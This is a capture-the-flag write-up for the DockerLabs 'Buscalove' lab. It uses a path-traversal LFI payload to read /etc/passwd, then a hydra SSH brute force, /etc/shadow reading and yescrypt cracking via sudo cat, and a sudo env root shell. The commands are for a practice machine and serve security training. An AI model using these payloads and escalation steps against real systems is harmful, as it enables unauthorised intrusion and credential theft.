the_open_door
coffee
ESEN

Buscalove

DockerLabsEasyLinux172.18.0.2

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#dockerlabs#lfi#parameter-fuzzing#hydra#brute-force#yescrypt#hash-cracking#sudo#gtfobins#base32
TL;DR. Buscalove hides a GET parameter (love) that the site itself hints at in its source code. Fuzzing parameters with a wordlist built from that HTML reveals it, and it turns out to be an LFI. Reading /etc/passwd yields the list of shell users and a hydra brute force hands over rosa. Her sudo rights (cat/ls) let us read /etc/shadow and crack root's yescrypt hash; in parallel, a doubly encoded secret.txt (hex → base32) reveals pedro's password, who abuses sudo env (GTFOBins) to reach root.

Recon

Initial scan

The port scan finds two services: an SSH and a web server.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV <ip> -oN targeted
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH
80/tcp open  http    Apache httpd

Directory fuzzing

On the web, dirsearch finds a /wordpress/ directory, and a gobuster inside locates its index.php:

dirsearch -u http://<ip>
gobuster dir -u http://<ip>/wordpress -x txt,php,html,js -w directory-list-2.3-medium.txt

Access: LFI through a hidden parameter

From source code to a wordlist

The index.php shows a "site under development" notice and a comment with the word love that seems no accident. Instead of guessing the parameter name, we build a wordlist from the page itself: download the source and split it into words.

curl -s http://<ip>/wordpress/index.php | tr -d '></"' | tr ' ' '\n' | sed '/^$/d' > diccionarioweb.txt

Parameter fuzzing

With that wordlist we fuzz the GET parameter index.php expects. wfuzz flags love because the response changes (the page points to itself when love=index.php):

wfuzz -u "http://<ip>/wordpress/index.php?FUZZ=index.php" -w diccionarioweb.txt

That the parameter can load index.php suggests it includes local resources without sanitising. We confirm by pointing it at /etc/passwd:

curl "http://<ip>/wordpress/index.php?love=../../../../etc/passwd"

It's a classic LFI. From the output we filter users with /bin/bash, the real candidates to have a login password:

curl -s "http://<ip>/wordpress/index.php?love=../../../../etc/passwd" | grep bash | awk -F: '{print $1}' > userList

Shell as rosa

Targeted SSH brute force

With the user list narrowed, hydra tries rockyou against SSH. The LFI has turned a blind brute force into an attack against users known to exist:

hydra -L userList -P <rockyou.txt> ssh://<ip> -t 64
[22][ssh] host: <ip>   login: rosa   password: <password>

With rosa's credentials we log in over SSH.

Privilege escalation

rosa's sudo rights

rosa can run cat and ls as root without a password:

sudo -l
User rosa may run the following commands:
    (root) NOPASSWD: /usr/bin/cat
    (root) NOPASSWD: /usr/bin/ls

A cat as root can read any file on the system, starting with /etc/shadow:

sudo cat /etc/shadow

Hashes for root and pedro appear. The $y$ prefix identifies them as yescrypt.

Path A: crack root's hash

john in crypt format (which delegates to the system libcrypt, capable of yescrypt) attacks root's hash with rockyou:

john --format=crypt --wordlist=<rockyou.txt> hashes --fork=4

If rockyou contains the password, we get root's directly and skip the whole escalation with su root.

Path B: doubly encoded secret.txt

The root ls/cat also lets us poke around /root, where a secret.txt lives:

sudo ls /root
sudo cat /root/secret.txt

The content is a hex string. Decoding it gives not plaintext but another string, a sign of a second encoding layer (base32):

echo "4E 5A 58 57 43 59 33 46 4F 4A 32 47 43 34 54 42 4F 4E 58 58 47 32 49 4B" | xxd -r -p
# NZXWCY3FOJ2GC4TBONXXG2IK
echo "NZXWCY3FOJ2GC4TBONXXG2IK" | base32 -d
# noacertarasosi

noacertarasosi is pedro's password:

su pedro

Root: sudo env

pedro can run env as root without a password. Per GTFOBins, env can launch an arbitrary process, so it serves to open a privileged shell:

sudo -l
sudo env /bin/bash
# id
uid=0(root) gid=0(root) groups=0(root)

Attack chain

HTTP  ->  /wordpress/index.php ("love" hint in the source)
    └─> wordlist from the HTML  ->  wfuzz  ->  love parameter  ->  LFI
            └─> /etc/passwd  ->  userList  ->  hydra (SSH)  ->  rosa
                    ├─> sudo cat /etc/shadow  ->  yescrypt  ->  john  ->  root
                    └─> sudo cat /root/secret.txt  ->  hex + base32  ->  pedro
                            └─> sudo env /bin/bash  ->  root

Lessons learned

  • The source code is a wordlist. Building the fuzzing list from the page itself beats a generic list: the hints usually live on the page, not in rockyou.
  • An LFI is for enumerating, not just reading. Reading /etc/passwd and filtering by /bin/bash aims the brute force at real accounts.
  • sudo cat/sudo ls is already game over. Being able to read any file as root (including /etc/shadow) makes a fancier escalation unnecessary; restrict which binaries are granted via sudo.
  • Encoding is not encryption. A secret.txt in hex+base32 only slows you down; neither layer protects a secret, both decode without a key.
Command cheatsheet 10 commands

Quick review